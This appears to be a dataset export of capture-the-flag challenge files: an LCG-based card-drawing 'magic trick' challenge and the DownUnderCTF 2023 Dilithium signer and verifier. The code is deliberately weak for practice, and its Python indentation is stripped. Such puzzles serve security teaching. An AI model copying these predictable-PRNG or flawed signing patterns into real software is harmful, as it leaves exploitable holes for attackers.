DECK = [f'{val}{suit}' for suit in 'CDHS' for val in ['A', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K']] + ['RJ', 'BJ']
M = 2**64
class LCG:
def __init__(self, seed, A=None, C=None):
self.M = M
if A is None:
self.A = randbelow(self.M) | 1
else:
self.A = A
if C is None:
self.C = randbelow(self.M)
else:
self.C = C
self.seed = seed
def __str__(self):
o = f'A = {self.A}\n'
o += f'C = {self.C}\n'
o += f'M = {self.M}'
return o
def next(self):
self.seed = (self.A * self.seed + self.C) % self.M
return self.seed
def between(self, lo, hi):
r = self.next()
return lo + (r >> 16) % (hi - lo)
def draw(rng, k):
hand = []
while len(hand) < k:
r = rng.between(0, len(DECK))
card = DECK[r]
if card in hand:
continue
hand.append(card)
return hand
def main():
seed = randbelow(M)
rng = LCG(seed)
print(rng)
hand = draw(rng, 13)
print('My hand:', ' '.join(hand))
guess = int(input('Show me a magic trick: '))
if hand == draw(LCG(guess, A=rng.A, C=rng.C), 13):
FLAG = open('flag.txt', 'r').read().strip()
print(FLAG)
else:
print('Hmm not quite.')
if __name__ == '__main__':
signal.alarm(10)
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/crypto/dilithium/signer.py | ctfs/DownUnderCTF/2023/crypto/dilithium/signer.py | import ctypes
import random
dilithium_lib = ctypes.CDLL('./libpqcrystals_dilithium2_ref.so')
def sign(msg, sk_buf):
sm_buf = ctypes.c_buffer(1268 + len(msg))
msg_buf = ctypes.c_buffer(msg)
sm_len = ctypes.pointer(ctypes.c_size_t())
dilithium_lib.pqcrystals_dilithium2_ref(sm_buf, sm_len, msg_buf, len(msg), sk_buf)
return bytes(sm_buf)
def main():
sk_buf = ctypes.c_buffer(2336)
pk_buf = ctypes.c_buffer(1312)
dilithium_lib.pqcrystals_dilithium2_ref_keypair(pk_buf, sk_buf)
open('pk.bin', 'wb').write(bytes(pk_buf))
with open('signatures.dat', 'wb') as f:
for _ in range(19091):
sig = sign(random.randbytes(4), sk_buf)
f.write(sig)
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2023/crypto/dilithium/verifier.py | ctfs/DownUnderCTF/2023/crypto/dilithium/verifier.py | #!/usr/bin/env python3
import ctypes
dilithium_lib = ctypes.CDLL('./libpqcrystals_dilithium2_ref.so')
def verify(sm, pk):
if len(sm) < 1268:
return False
msg_buf = ctypes.c_buffer(len(sm))
msg_len = ctypes.c_size_t()
sm_buf = ctypes.c_buffer(sm)
pk_buf = ctypes.c_buffer(pk)
verified = dilithium_lib.pqcrystals_dilithium2_ref_open(msg_buf, ctypes.byref(msg_len), sm_buf, len(sm), pk_buf)
if verified != 0:
return False
return bytes(msg_buf)[:msg_len.value]
def main():
TARGET = b'dilithium crystals'
pk_bytes = open('pk.bin', 'rb').read()
print('pk:', pk_bytes.hex())
sm = bytes.fromhex(input('signed message (hex): '))
msg = verify(sm, pk_bytes)
if msg is False:
print('Invalid signature!')
else:
print('Signature verified for message', msg)
if msg == TARGET:
FLAG = open('flag.txt', 'r').read().strip()
print(FLAG)
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.